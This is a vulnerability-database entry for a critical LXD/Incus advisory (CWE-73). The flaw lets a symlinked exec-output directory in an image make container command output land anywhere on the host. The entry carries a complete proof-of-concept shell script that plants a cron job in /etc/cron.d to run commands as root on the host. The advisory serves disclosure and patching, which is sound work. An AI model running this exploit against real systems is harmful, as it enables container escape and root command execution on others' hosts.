Criticalghsa:GHSA-9j25-mm2h-2f76

    github.com/canonical/lxd: External Control of File Name or Path (ghsa:GHSA-9j25-mm2h-2f76)

    Published Sources: Hersteller

    Share

    What is affected, what to do

    Update github.com/canonical/lxd to version 0.0.0-20260626085134-124f90100640.

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    —

    Priority

    No value is available for this vulnerability.

    —

    CVSS v3

    No value is available for this vulnerability.

    —

    EPSS score

    No value is available for this vulnerability.

    Show all metrics
    Severity
    Critical
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    30.00 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-73

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

    Summary

    The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named exec_UUID.stdout and exec_UUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.

    Details

    When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instance_exec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.

    PoC

    Below, we place the exec_UUID.stdout file in /etc/cron.d on the host for arbitrary command execution.

    #!/bin/sh
    # usage: $0 existing-imagefp
    set -eu
    
    basefp="${1}"
    
    die() {
            printf '%s' "${@}" >&2
            exit 1
    }
    
    command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
    command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
    
    tmpdir=$(mktemp -d)
    cleanup() {
            rm -rf "${tmpdir}"
    }
    trap cleanup EXIT INT QUIT TERM HUP
    
    
    # insert exec-output symlink
    
    incus image export "${basefp}" "${tmpdir}/img"
    
    mkdir "${tmpdir}/repack"
    cd "${tmpdir}/repack"
    
    xz -cd "${tmpdir}/img" | tar -f- -vx
    
    rm -rf exec-output
    ln -s /etc/cron.d exec-output
    
    tar -f- -c * | gzip -c9 >"${tmpdir}/img"
    
    cd - >/dev/null
    incus image import "${tmpdir}"/img* --alias afw-exec-output
    
    
    # Launch container, exec with record-output via REST API
    incus launch afw-exec-output afw-exec-output
    incus wait afw-exec-output ip
    
    OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
      -X POST -H 'Content-Type: application/json' \
      -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
      "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
    
    curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
    
    #find /etc/cron.d/exec_* -exec cat {} \;
    

    Impact

    Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

    Source: GitHub Security Advisories

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    gogithub.com/canonical/lxd
    • < 0.0.0-20260626085134-124f90100640
    • 0.0.0-20260626085134-124f90100640

    Vendors and products

    Weakness classes (CWE)

    • CWE-73External Control of File Name or Path

      Base

      The product allows user input to control or influence paths or file names that are used in filesystem operations.

      Entry at MITRE CWE-73